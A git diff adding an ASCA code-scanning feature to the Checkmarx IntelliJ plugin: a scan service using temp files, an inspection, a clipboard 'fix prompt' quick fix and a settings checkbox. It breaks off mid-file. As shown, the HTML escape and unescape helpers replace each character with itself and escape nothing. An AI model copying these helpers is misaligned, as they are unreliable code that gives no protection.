diff --git a/build.gradle b/build.gradle index 647671e9..1fda6dda 100644 --- a/build.gradle +++ b/build.gradle @@ -1,6 +1,6 @@ plugins { id 'io.freefair.lombok' version '8.6' - id 'org.jetbrains.intellij' version '1.17.3' + id 'org.jetbrains.intellij' version '1.17.4' id 'java' } @@ -43,7 +43,7 @@ dependencies { implementation 'com.miglayout:miglayout-swing:11.3' if (javaWrapperVersion == "" || javaWrapperVersion == null) { - implementation('com.checkmarx.ast:ast-cli-java-wrapper:2.1.1'){ + implementation('com.checkmarx.ast:ast-cli-java-wrapper:2.1.2'){ exclude group: 'junit', module: 'junit' } } else { diff --git a/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java new file mode 100644 index 00000000..ab51d464 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/ASCA/AscaService.java @@ -0,0 +1,214 @@ +package com.checkmarx.intellij.ASCA; + +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.ast.wrapper.CxConfig; +import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.Utils; +import com.checkmarx.intellij.commands.ASCA; +import com.intellij.openapi.application.ApplicationManager; +import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.editor.Document; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.util.Computable; +import com.intellij.openapi.util.text.Strings; +import com.intellij.openapi.vfs.VirtualFile; +import com.intellij.psi.PsiDocumentManager; +import com.intellij.psi.PsiFile; +import org.jetbrains.annotations.NotNull; +import org.jetbrains.annotations.Nullable; + +import java.io.File; +import java.io.IOException; +import java.net.URISyntaxException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +/** + * Service class for handling ASCA (Application Security Code Analysis) operations. + */ +public class AscaService { + + private static final String ASCA_DIR = "CxASCA"; + private static Logger LOGGER = Utils.getLogger(AscaService.class); + + /** + * Default constructor for AscaService. + */ + public AscaService() { + } + + public AscaService(Logger logger) { + LOGGER = logger; + } + + /** + * Runs the ASCA scan on the provided file and returns the ScanResult. + * + * @param file the file to scan + * @param project the current project + * @param ascLatestVersion whether to use the latest version of ASCA + * @param agent the agent name + * @return the scan result, or null if an error occurs + */ + @Nullable + public ScanResult runAscaScan(PsiFile file, Project project, boolean ascLatestVersion, String agent) { + if (file == null) { + return null; + } + + VirtualFile virtualFile = file.getVirtualFile(); + + if (ignoreFiles(virtualFile)) { + return null; + } + + String fileContent = getFileContent(file, project); + if (fileContent == null) { + return null; + } + + String tempFilePath = saveTempFile(file.getName(), fileContent); + if (tempFilePath == null) { + LOGGER.warn("Failed to create temporary file for ASCA scan."); + return null; + } + + try { + LOGGER.info(Strings.join("Starting ASCA scan on file: ", virtualFile.getPath())); + ScanResult scanResult = ASCA.scanAsca(tempFilePath, ascLatestVersion, agent); + handleScanResult(file, scanResult); + return scanResult; + } catch (Exception e) { + LOGGER.warn("Error during ASCA scan:", e); + return null; + } finally { + deleteFile(tempFilePath); + } + } + + /** + * Gets the file content, either from in-memory document or from disk. + * + * @param file the file to get content from + * @param project the current project + * @return the file content as a string, or null if an error occurs + */ + private String getFileContent(PsiFile file, Project project) { + return ApplicationManager.getApplication().runReadAction((Computable) () -> { + Document document = PsiDocumentManager.getInstance(project).getDocument(file); + if (document != null) { + return document.getText(); + } + + VirtualFile virtualFile = file.getVirtualFile(); + if (virtualFile == null) { + LOGGER.warn("Virtual file is null for the given PsiFile."); + return null; + } + + try { + return new String(virtualFile.contentsToByteArray()); + } catch (IOException e) { + LOGGER.warn("Failed to retrieve file content from virtual file:", e); + return null; + } + }); + } + + /** + * Handles the scan result, logs any errors or violations. + * + * @param file the file that was scanned + * @param scanResult the result of the scan + */ + private void handleScanResult(@NotNull PsiFile file, ScanResult scanResult) { + if (scanResult == null || scanResult.getError() != null) { + String errorDescription = scanResult != null ? + scanResult.getError().getDescription() : "Unknown error"; + LOGGER.warn(String.join(": ", "ASCA scan error", errorDescription)); + return; + } + + String fileName = file.getName(); + int violationCount = (scanResult.getScanDetails() != null) ? scanResult.getScanDetails().size() : 0; + if (violationCount == 0) { + LOGGER.info(String.join(" ", "No security best practice violations found in", fileName)); + } else { + String violationMessage = violationCount == 1 ? + Strings.join("1 security best practice violation found in ", fileName) : + violationCount + Strings.join(" security best practice violations found in" + fileName); + LOGGER.info(String.join(" ", violationMessage, "in", fileName)); + } + } + + /** + * Saves content to a temporary file. + * + * @param fileName the name of the file + * @param content the content to save + * @return the path to the temporary file, or null if an error occurs + */ + @Nullable + private String saveTempFile(String fileName, String content) { + try { + Path tempDir = Paths.get(System.getProperty("java.io.tmpdir"), ASCA_DIR); + Files.createDirectories(tempDir); + Path tempFilePath = tempDir.resolve(fileName); + Files.write(tempFilePath, content.getBytes()); + LOGGER.debug("Temp file saved at: " + tempFilePath); + return tempFilePath.toString(); + } catch (IOException e) { + LOGGER.warn("Failed to save temporary file:", e); + return null; + } + } + + /** + * Deletes a file by the given file path. + * + * @param filePath the path to the file to delete + */ + private void deleteFile(String filePath) { + try { + Path normalizedPath = Paths.get(filePath).toAbsolutePath().normalize(); + File file = normalizedPath.toFile(); + if (file.exists()) { + if (file.delete()) { + LOGGER.debug(Strings.join("Temporary file ", filePath, " deleted.")); + } + } + } catch (Exception e) { + LOGGER.warn("Failed to delete file", e); + } + } + + /** + * Determines whether the file should be ignored. + * + * @param file the file to check + * @return true if the file should be ignored, false otherwise + */ + private boolean ignoreFiles(VirtualFile file) { + return file == null || !file.isInLocalFileSystem(); + } + + /** + * Installs the ASCA CLI if not already installed. + * + * @return a message indicating the result of the installation + * @throws CxException if an error occurs during installation + * @throws CxConfig.InvalidCLIConfigException if the CLI configuration is invalid + * @throws IOException if an I/O error occurs + * @throws URISyntaxException if a URI syntax error occurs + * @throws InterruptedException if the installation is interrupted + */ + public boolean installAsca() throws CxException, CxConfig.InvalidCLIConfigException, IOException, URISyntaxException, InterruptedException { + ScanResult res = ASCA.installAsca(); + if (res.getError() != null) { + LOGGER.warn(Strings.join("ASCA installation error: ", res.getError().getDescription())); + return false; + } + return true; + } +} \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/Constants.java b/src/main/java/com/checkmarx/intellij/Constants.java index ebebda71..6c7a453c 100644 --- a/src/main/java/com/checkmarx/intellij/Constants.java +++ b/src/main/java/com/checkmarx/intellij/Constants.java @@ -51,6 +51,7 @@ private Constants() { public static final String FIELD_NAME_API_KEY = "apiKey"; public static final String FIELD_NAME_ADDITIONAL_PARAMETERS = "additionalParameters"; + public static final String FIELD_NAME_ASCA = "ascaCheckBox"; public static final String SELECTED_PROJECT_PROPERTY = "Checkmarx.SelectedProject"; public static final String SELECTED_BRANCH_PROPERTY = "Checkmarx.SelectedBranch"; @@ -78,4 +79,8 @@ private Constants() { public static final String SCAN_STATUS_RUNNING = "running"; public static final String SCAN_STATUS_COMPLETED = "completed"; public static final String JET_BRAINS_AGENT_NAME = "Jetbrains"; + public static final String ASCA_CRITICAL_SEVERITY = "Critical"; + public static final String ASCA_HIGH_SEVERITY = "High"; + public static final String ASCA_MEDIUM_SEVERITY = "Medium"; + public static final String ASCA_LOW_SEVERITY = "Low"; } diff --git a/src/main/java/com/checkmarx/intellij/Resource.java b/src/main/java/com/checkmarx/intellij/Resource.java index 7d446ff8..81c34388 100644 --- a/src/main/java/com/checkmarx/intellij/Resource.java +++ b/src/main/java/com/checkmarx/intellij/Resource.java @@ -9,6 +9,11 @@ public enum Resource { API_KEY, SCAN_SECTION, ADDITIONAL_PARAMETERS, + ASCA_CHECKBOX, + ASCA_DESCRIPTION, + ASCA_SCAN_WARNING, + ASCA_STARTED_MSG, + FAILED_INSTALL_ASCA, VALIDATE_BUTTON, VALIDATE_IN_PROGRESS, VALIDATE_SUCCESS, diff --git a/src/main/java/com/checkmarx/intellij/commands/ASCA.java b/src/main/java/com/checkmarx/intellij/commands/ASCA.java new file mode 100644 index 00000000..23917448 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/commands/ASCA.java @@ -0,0 +1,31 @@ +package com.checkmarx.intellij.commands; + +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.ast.wrapper.CxConfig; +import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.settings.global.CxWrapperFactory; + +import java.io.IOException; +import java.net.URISyntaxException; + +public class ASCA { + public static ScanResult scanAsca(String path, boolean ascaLatestVersion, String agent) + throws + CxConfig.InvalidCLIConfigException, + IOException, + URISyntaxException, + CxException, + InterruptedException { + return CxWrapperFactory.build().ScanAsca(path, ascaLatestVersion, agent); + } + + public static ScanResult installAsca() + throws CxConfig.InvalidCLIConfigException, + IOException, + URISyntaxException, + CxException, + InterruptedException { + return CxWrapperFactory.build().ScanAsca("",true, Constants.JET_BRAINS_AGENT_NAME); + } +} diff --git a/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java new file mode 100644 index 00000000..c3184ac2 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/inspections/AscaInspection.java @@ -0,0 +1,206 @@ +package com.checkmarx.intellij.inspections; + +import com.checkmarx.ast.asca.ScanDetail; +import com.checkmarx.ast.asca.ScanResult; +import com.checkmarx.intellij.ASCA.AscaService; +import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.Utils; +import com.checkmarx.intellij.inspections.quickfixes.AscaQuickFix; +import com.checkmarx.intellij.settings.global.GlobalSettingsState; +import com.intellij.codeInspection.*; +import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.editor.Document; +import com.intellij.openapi.util.TextRange; +import com.intellij.psi.*; +import lombok.Getter; +import lombok.Setter; +import org.jetbrains.annotations.NotNull; + +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * Inspection tool for ASCA (AI Secure Coding Assistant). + */ +public class AscaInspection extends LocalInspectionTool { + @Getter + @Setter + private AscaService ascaService = new AscaService(); + private final GlobalSettingsState settings = GlobalSettingsState.getInstance(); + private Map severityToHighlightMap; + public static String ASCA_INSPECTION_ID = "ASCA"; + private final Logger logger = Utils.getLogger(AscaInspection.class); + + /** + * Checks the file for ASCA issues. + * + * @param file the file to check + * @param manager the inspection manager + * @param isOnTheFly whether the inspection is on-the-fly + * @return an array of problem descriptors + */ + @Override + public ProblemDescriptor @NotNull [] checkFile(@NotNull PsiFile file, @NotNull InspectionManager manager, boolean isOnTheFly) { + try { + if (!settings.isAsca()) { + return ProblemDescriptor.EMPTY_ARRAY; + } + + ScanResult scanResult = performAscaScan(file); + if (isInvalidScan(scanResult)) { + return ProblemDescriptor.EMPTY_ARRAY; + } + + Document document = PsiDocumentManager.getInstance(file.getProject()).getDocument(file); + if (document == null) { + return ProblemDescriptor.EMPTY_ARRAY; + } + + return createProblemDescriptors(file, manager, scanResult.getScanDetails(), document, isOnTheFly); + } + catch (Exception e) { + logger.warn("Failed to run ASCA scan", e); + return ProblemDescriptor.EMPTY_ARRAY; + } + } + + /** + * Creates problem descriptors for the given scan details. + * + * @param file the file to check + * @param manager the inspection manager + * @param scanDetails the scan details + * @param document the document + * @param isOnTheFly whether the inspection is on-the-fly + * @return an array of problem descriptors + */ + private ProblemDescriptor[] createProblemDescriptors(@NotNull PsiFile file, @NotNull InspectionManager manager, List scanDetails, Document document, boolean isOnTheFly) { + List problems = new ArrayList<>(); + + for (ScanDetail detail : scanDetails) { + int lineNumber = detail.getLine(); + if (isLineOutOfRange(lineNumber, document)) { + continue; + } + + PsiElement elementAtLine = file.findElementAt(document.getLineStartOffset(lineNumber - 1)); + if (elementAtLine != null) { + ProblemDescriptor problem = createProblemDescriptor(file, manager, detail, document, lineNumber, isOnTheFly); + problems.add(problem); + } + } + + return problems.toArray(ProblemDescriptor[]::new); + } + + /** + * Creates a problem descriptor for a specific scan detail. + * + * @param file the file to check + * @param manager the inspection manager + * @param detail the scan detail + * @param document the document + * @param lineNumber the line number + * @param isOnTheFly whether the inspection is on-the-fly + * @return a problem descriptor + */ + private ProblemDescriptor createProblemDescriptor(@NotNull PsiFile file, @NotNull InspectionManager manager, ScanDetail detail, Document document, int lineNumber, boolean isOnTheFly) { + TextRange problemRange = getTextRangeForLine(document, lineNumber); + String description = formatDescription(detail.getRuleName(), detail.getRemediationAdvise()); + ProblemHighlightType highlightType = determineHighlightType(detail); + + return manager.createProblemDescriptor( + file, problemRange, description, highlightType, isOnTheFly, new AscaQuickFix(detail)); + } + + public String formatDescription(String ruleName, String remediationAdvise) { + return String.format( + "%s - %s
%s", + escapeHtml(ruleName), escapeHtml(remediationAdvise), escapeHtml(ASCA_INSPECTION_ID) + ); + } + + // Helper method to escape HTML special characters for safety + private String escapeHtml(String text) { + if (text == null) { + return ""; + } + return text.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace("\"", """) + .replace("'", "'"); + } + + /** + * Gets the text range for a specific line in the document. + * + * @param document the document + * @param lineNumber the line number + * @return the text range + */ + private TextRange getTextRangeForLine(Document document, int lineNumber) { + int startOffset = document.getLineStartOffset(lineNumber - 1); + int endOffset = Math.min(document.getLineEndOffset(lineNumber - 1), document.getTextLength()); + return new TextRange(startOffset, endOffset); + } + + /** + * Checks if the line number is out of range in the document. + * + * @param lineNumber the line number + * @param document the document + * @return true if the line number is out of range, false otherwise + */ + private boolean isLineOutOfRange(int lineNumber, Document document) { + return lineNumber <= 0 || lineNumber > document.getLineCount(); + } + + /** + * Checks if the scan result is invalid. + * + * @param scanResult the scan result + * @return true if the scan result is invalid, false otherwise + */ + private boolean isInvalidScan(ScanResult scanResult) { + return scanResult == null || scanResult.getScanDetails() == null; + } + + /** + * Determines the highlight type for a specific scan detail. + * + * @param detail the scan detail + * @return the problem highlight type + */ + private ProblemHighlightType determineHighlightType(ScanDetail detail) { + return getSeverityToHighlightMap().getOrDefault(detail.getSeverity(), ProblemHighlightType.WEAK_WARNING); + } + + /** + * Gets the map of severity to highlight type. + * + * @return the map of severity to highlight type + */ + private Map getSeverityToHighlightMap() { + if (severityToHighlightMap == null) { + severityToHighlightMap = new HashMap<>(); + severityToHighlightMap.put(Constants.ASCA_CRITICAL_SEVERITY, ProblemHighlightType.GENERIC_ERROR); + severityToHighlightMap.put(Constants.ASCA_HIGH_SEVERITY, ProblemHighlightType.GENERIC_ERROR); + severityToHighlightMap.put(Constants.ASCA_MEDIUM_SEVERITY, ProblemHighlightType.WARNING); + severityToHighlightMap.put(Constants.ASCA_LOW_SEVERITY, ProblemHighlightType.WEAK_WARNING); + } + return severityToHighlightMap; + } + + /** + * Performs an ASCA scan on the given file. + * + * @param file the file to scan + * @return the scan result + */ + private ScanResult performAscaScan(PsiFile file) { + return ascaService.runAscaScan(file, file.getProject(), false, Constants.JET_BRAINS_AGENT_NAME); + } +} \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java new file mode 100644 index 00000000..9a080822 --- /dev/null +++ b/src/main/java/com/checkmarx/intellij/inspections/quickfixes/AscaQuickFix.java @@ -0,0 +1,153 @@ +package com.checkmarx.intellij.inspections.quickfixes; + +import com.checkmarx.intellij.Constants; +import com.checkmarx.intellij.Utils; +import com.intellij.notification.Notification; +import com.intellij.notification.NotificationGroupManager; +import com.intellij.notification.NotificationType; +import com.intellij.openapi.diagnostic.Logger; +import com.intellij.openapi.project.Project; +import com.intellij.openapi.application.ApplicationManager; +import com.checkmarx.ast.asca.ScanDetail; +import com.intellij.codeInspection.LocalQuickFix; +import com.intellij.codeInspection.ProblemDescriptor; +import com.intellij.codeInspection.util.IntentionFamilyName; +import org.jetbrains.annotations.NotNull; + +import java.awt.*; +import java.awt.datatransfer.StringSelection; + +import static com.checkmarx.intellij.inspections.AscaInspection.ASCA_INSPECTION_ID; + +/** + * Quick fix implementation for ASCA issues. + */ +public class AscaQuickFix implements LocalQuickFix { + @SafeFieldForPreview + private final ScanDetail detail; + private final Logger LOGGER = Utils.getLogger(AscaQuickFix.class); + private final String FAILED_COPY_FIX_PROMPT = "Failed to copy the fix prompt to the clipboard."; + + /** + * Constructor for AscaQuickFix. + * + * @param detail the scan detail associated with the issue + */ + public AscaQuickFix(ScanDetail detail) { + this.detail = detail; + } + + /** + * Returns the family name of the quick fix. + * + * @return the family name + */ + @Override + public @IntentionFamilyName @NotNull String getFamilyName() { + return "ASCA - Copy fix prompt"; + } + + /** + * Applies the quick fix to the given problem descriptor. + * + * @param project the current project + * @param descriptor the problem descriptor + */ + @Override + public void applyFix(@NotNull Project project, @NotNull ProblemDescriptor descriptor) { + try { + final String FIX_PROMPT_COPY_SUCCESS_MSG = "Fix prompt copied to clipboard.\n" + + "Paste this prompt into GitHub Copilot to get a remediated code snippet."; + // Retrieve the problematic line and the description + String problematicLine = detail.getProblematicLine(); + String description = descriptor.getDescriptionTemplate(); + + // Generate a prompt for GPT + String prompt = generateFixPrompt(problematicLine, description); + + // Copy the prompt to the system clipboard + copyToClipboard(prompt); + + // Show a notification to the user indicating that the prompt was copied + showNotification(project, FIX_PROMPT_COPY_SUCCESS_MSG, NotificationType.INFORMATION); + } catch (Exception e) { + LOGGER.warn(FAILED_COPY_FIX_PROMPT, e); + } + } + + /** + * Shows a notification to the user. + * + * @param project the current project + * @param message the message to display + * @param type the type of notification + */ + private void showNotification(Project project, String message, NotificationType type) { + final String FIX_PROMPT_COPY_FAIL_MSG = "Fix prompt copied"; + ApplicationManager.getApplication().invokeLater(() -> { + Notification notification = NotificationGroupManager.getInstance() + .getNotificationGroup(Constants.NOTIFICATION_GROUP_ID) + .createNotification(FIX_PROMPT_COPY_FAIL_MSG, message, type); + notification.notify(project); + }); + } + + public String stripHtml(String htmlText) { + if (htmlText == null) { + return ""; + } + // Remove HTML tags + String plainText = htmlText.replaceAll("<[^>]*>", ""); + + // Remove "ASCA" suffix, if it exists + if (plainText.endsWith(ASCA_INSPECTION_ID)) { + plainText = plainText.substring(0, plainText.length() - 4).trim(); // Remove "ASCA" and trim any trailing space + } + + return unescapeHtml(plainText); + } + + private String unescapeHtml(String text) { + if (text == null) { + return ""; + } + return text.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace(""", "\"") + .replace("'", "'"); + } + + + /** + * Generates a fix prompt based on the problematic line and description. + * + * @param problematicLine the problematic line of code + * @param description the description of the issue + * @return the generated fix prompt + */ + private String generateFixPrompt(String problematicLine, String description) { + final String FIX_PROMPT = "Please address the following issue:\n\n" + + "Code snippet with potential issue:\n%s\n\n" + + "Issue description:\n%s\n\n" + + "Provide a fix to make this code safer and more secure."; + return String.format(FIX_PROMPT, problematicLine.trim(), stripHtml(description.trim()) + ); + } + + /** + * Copies the given prompt to the system clipboard. + * + * @param prompt the prompt to copy + */ + private void copyToClipboard(String prompt) { + StringSelection stringSelection = new StringSelection(prompt); + try { + Toolkit.getDefaultToolkit().getSystemClipboard().setContents(stringSelection, null); + } + catch (Exception e) { + + showNotification(null, FAILED_COPY_FIX_PROMPT, NotificationType.ERROR); + } + } +} \ No newline at end of file diff --git a/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java b/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java index 6935926d..0f03201b 100644 --- a/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java +++ b/src/main/java/com/checkmarx/intellij/project/ProjectResultsService.java @@ -11,6 +11,7 @@ import java.nio.file.Paths; import java.util.*; import java.util.concurrent.CompletableFuture; +import java.util.logging.Level; /** * Service for indexing results of a scan in a given project @@ -100,7 +101,8 @@ public List getResultsForFileAndLine(Project project, nodes = nodesForLine; } } - } catch (IllegalArgumentException ignored) { + } catch (IllegalArgumentException e) { + LOGGER.warn("Failed to relativize path: " + file, e); } } return nodes; diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java index 25921fe6..7706f9b7 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsComponent.java @@ -2,6 +2,7 @@ import com.checkmarx.ast.wrapper.CxConfig; import com.checkmarx.ast.wrapper.CxException; +import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.Bundle; import com.checkmarx.intellij.Constants; import com.checkmarx.intellij.Resource; @@ -16,7 +17,6 @@ import com.intellij.ui.components.JBCheckBox; import com.intellij.ui.components.JBLabel; import com.intellij.ui.components.JBPasswordField; -import com.intellij.ui.components.JBTextField; import com.intellij.ui.components.fields.ExpandableTextField; import com.intellij.util.messages.MessageBus; import lombok.Getter; @@ -24,6 +24,7 @@ import javax.swing.*; import java.awt.*; +import java.awt.event.ItemEvent; import java.io.IOException; import java.net.URISyntaxException; import java.util.Objects; @@ -49,6 +50,9 @@ public class GlobalSettingsComponent implements SettingsComponent { private final JButton validateButton = new JButton(Bundle.message(Resource.VALIDATE_BUTTON)); private final JBLabel validateResult = new JBLabel(); + private final JBCheckBox ascaCheckBox = new JBCheckBox(Bundle.message(Resource.ASCA_CHECKBOX)); + private final JBLabel ascaInstallationMsg = new JBLabel(); + public GlobalSettingsComponent() { if (SETTINGS_STATE == null) { @@ -58,6 +62,7 @@ public GlobalSettingsComponent() { SENSITIVE_SETTINGS_STATE = GlobalSettingsSensitiveState.getInstance(); } addValidateConnectionListener(); + addAscaCheckBoxListener(); setupFields(); buildGUI(); @@ -74,7 +79,8 @@ public boolean isModified() { @Override public void apply() { - SETTINGS_STATE.apply(getStateFromFields()); + GlobalSettingsState state = getStateFromFields(); + SETTINGS_STATE.apply(state); SENSITIVE_SETTINGS_STATE.apply(getSensitiveStateFromFields()); messageBus.syncPublisher(SettingsListener.SETTINGS_APPLIED).settingsApplied(); } @@ -82,11 +88,13 @@ public void apply() { @Override public void reset() { additionalParametersField.setText(SETTINGS_STATE.getAdditionalParameters()); + ascaCheckBox.setSelected(SETTINGS_STATE.isAsca()); SENSITIVE_SETTINGS_STATE.reset(); apiKeyField.setText(SENSITIVE_SETTINGS_STATE.getApiKey()); validateResult.setVisible(false); + ascaInstallationMsg.setVisible(false); } /** @@ -97,6 +105,7 @@ public void reset() { private GlobalSettingsState getStateFromFields() { GlobalSettingsState state = new GlobalSettingsState(); state.setAdditionalParameters(additionalParametersField.getText().trim()); + state.setAsca(ascaCheckBox.isSelected()); return state; } @@ -126,8 +135,11 @@ private void addValidateConnectionListener() { setValidationResult(Bundle.message(Resource.VALIDATE_IN_PROGRESS), JBColor.GREEN); CompletableFuture.runAsync(() -> { try { + if (ascaCheckBox.isSelected()) { + runAscaScanInBackground(); + } Authentication.validateConnection(getStateFromFields(), - getSensitiveStateFromFields()); + getSensitiveStateFromFields()); setValidationResult(Bundle.message(Resource.VALIDATE_SUCCESS), JBColor.GREEN); LOGGER.info(Bundle.message(Resource.VALIDATE_SUCCESS)); } catch (IOException | URISyntaxException | InterruptedException e) { @@ -145,6 +157,52 @@ private void addValidateConnectionListener() { }); } + private void addAscaCheckBoxListener() { + ascaCheckBox.addItemListener(e -> { + if (e.getStateChange() != ItemEvent.SELECTED) { + ascaInstallationMsg.setVisible(false); + return; + } + + runAscaScanInBackground(); + }); + } + + private void runAscaScanInBackground() { + new SwingWorker() { + @Override + protected Void doInBackground() { + try { + ascaInstallationMsg.setVisible(false); + boolean installed = new AscaService().installAsca(); + if (installed) { + setAscaInstallationMsg(Bundle.message(Resource.ASCA_STARTED_MSG), JBColor.GREEN); + } else { + setAscaInstallationMsg(Bundle.message(Resource.FAILED_INSTALL_ASCA), JBColor.RED); + } + } catch (IOException | URISyntaxException | InterruptedException ex) { + LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING), ex); + setAscaInstallationMsg(ex.getMessage(), JBColor.RED); + } catch (CxException | CxConfig.InvalidCLIConfigException ex) { + String msg = ex.getMessage().trim(); + int lastLineIndex = Math.max(msg.lastIndexOf('\n'), 0); + setAscaInstallationMsg(msg.substring(lastLineIndex).trim(), JBColor.RED); + LOGGER.warn(Bundle.message(Resource.ASCA_SCAN_WARNING, msg.substring(lastLineIndex).trim())); + } finally { + if (ascaCheckBox.isSelected()) { + ascaInstallationMsg.setVisible(true); + } + } + return null; + } + + @Override + protected void done() { + LOGGER.debug("ASCA scan completed."); + } + }.execute(); + } + /** * Set validation message text and color. * @@ -156,6 +214,11 @@ private void setValidationResult(String message, JBColor color) { validateResult.setForeground(color); } + private void setAscaInstallationMsg(String message, JBColor color) { + ascaInstallationMsg.setText(String.format("%s", message)); + ascaInstallationMsg.setForeground(color); + } + /** * Build the GUI with {@link MigLayout}. * http://www.miglayout.com/QuickStart.pdf @@ -164,7 +227,7 @@ private void buildGUI() { mainPanel.setLayout(new MigLayout("", "[][grow]")); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.INTELLIJ_HELP, Resource.HELP_JETBRAINS), - "span, growx, wrap, gapbottom 10"); + "span, growx, wrap, gapbottom 10"); addSectionHeader(Resource.CREDENTIALS_SECTION); addField(Resource.API_KEY, apiKeyField, true, true); @@ -173,7 +236,13 @@ private void buildGUI() { addField(Resource.ADDITIONAL_PARAMETERS, additionalParametersField, false, false); mainPanel.add(new JBLabel()); mainPanel.add(CxLinkLabel.buildDocLinkLabel(Constants.ADDITIONAL_PARAMETERS_HELP, Resource.HELP_CLI), - "gapleft 5, wrap"); + "gapleft 5,gapbottom 10, wrap"); + + // Add ASCA checkbox + addSectionHeader(Resource.ASCA_DESCRIPTION); + mainPanel.add(ascaCheckBox); + mainPanel.add(ascaInstallationMsg, "gapleft 5, wrap"); + mainPanel.add(validateButton, "sizegroup bttn, gaptop 30"); mainPanel.add(validateResult, "gapleft 5, gaptop 30"); } @@ -181,8 +250,10 @@ private void buildGUI() { private void setupFields() { apiKeyField.setName(Constants.FIELD_NAME_API_KEY); additionalParametersField.setName(Constants.FIELD_NAME_ADDITIONAL_PARAMETERS); + ascaCheckBox.setName(Constants.FIELD_NAME_ASCA); } + private void addSectionHeader(Resource resource) { validatePanel(); mainPanel.add(new JBLabel(Bundle.message(resource)), "split 2, span"); @@ -196,8 +267,8 @@ private void addField(Resource resource, Component field, boolean gapAfter, bool constraints += ", " + Constants.FIELD_GAP_BOTTOM; } String label = String.format(Constants.FIELD_FORMAT, - Bundle.message(resource), - required ? Constants.REQUIRED_MARK : ""); + Bundle.message(resource), + required ? Constants.REQUIRED_MARK : ""); mainPanel.add(new JBLabel(label), gapAfter ? Constants.FIELD_GAP_BOTTOM : ""); mainPanel.add(field, constraints); } diff --git a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java index 6907057e..7fc27153 100644 --- a/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java +++ b/src/main/java/com/checkmarx/intellij/settings/global/GlobalSettingsState.java @@ -1,8 +1,6 @@ package com.checkmarx.intellij.settings.global; -import com.checkmarx.intellij.Bundle; import com.checkmarx.intellij.Constants; -import com.checkmarx.intellij.Resource; import com.checkmarx.intellij.Utils; import com.checkmarx.intellij.tool.window.ResultState; import com.checkmarx.intellij.tool.window.Severity; @@ -16,7 +14,6 @@ import lombok.EqualsAndHashCode; import lombok.Getter; import lombok.Setter; -import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import org.jetbrains.annotations.Nullable; @@ -41,6 +38,8 @@ public static GlobalSettingsState getInstance() { @NotNull private String additionalParameters = ""; + private boolean asca = false; + @NotNull private Set filters = new HashSet<>(getDefaultFilters()); diff --git a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java index fb4c795c..e4465b2b 100644 --- a/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java +++ b/src/main/java/com/checkmarx/intellij/tool/window/CxToolWindowPanel.java @@ -1,6 +1,7 @@ package com.checkmarx.intellij.tool.window; import com.checkmarx.intellij.*; +import com.checkmarx.intellij.ASCA.AscaService; import com.checkmarx.intellij.commands.TenantSetting; import com.checkmarx.intellij.commands.results.ResultGetState; import com.checkmarx.intellij.commands.results.Results; @@ -91,11 +92,6 @@ public class CxToolWindowPanel extends SimpleToolWindowPanel implements Disposab // service for indexing current results private final ProjectResultsService projectResultsService; - /** - * Creates the tool window with the settings panel or the results panel - * - * @param project current project - */ public CxToolWindowPanel(@NotNull Project project) { super(false, true); @@ -111,16 +107,17 @@ public CxToolWindowPanel(@NotNull Project project) { } }; - ApplicationManager.getApplication() - .getMessageBus() - .connect(this) - .subscribe(SettingsListener.SETTINGS_APPLIED, r::run); - ApplicationManager.getApplication().getMessageBus().connect(this).subscribe(FilterBaseAction.FILTER_CHANGED, - this::changeFilter); + // Establish message bus connection before subscribing + ApplicationManager.getApplication().getMessageBus() + .connect(this) + .subscribe(SettingsListener.SETTINGS_APPLIED, r::run); + ApplicationManager.getApplication().getMessageBus().connect(this) + .subscribe(FilterBaseAction.FILTER_CHANGED, this::changeFilter); r.run(); } + /** * Creates the main panel UI for results. */ diff --git a/src/main/resources/META-INF/plugin.xml b/src/main/resources/META-INF/plugin.xml index 812ba315..993dddd2 100644 --- a/src/main/resources/META-INF/plugin.xml +++ b/src/main/resources/META-INF/plugin.xml @@ -36,6 +36,12 @@ enabledByDefault="true" level="WARNING" implementationClass="com.checkmarx.intellij.inspections.CxInspection"/> + diff --git a/src/main/resources/inspectionDescriptions/Asca.html b/src/main/resources/inspectionDescriptions/Asca.html new file mode 100644 index 00000000..906b2d1a --- /dev/null +++ 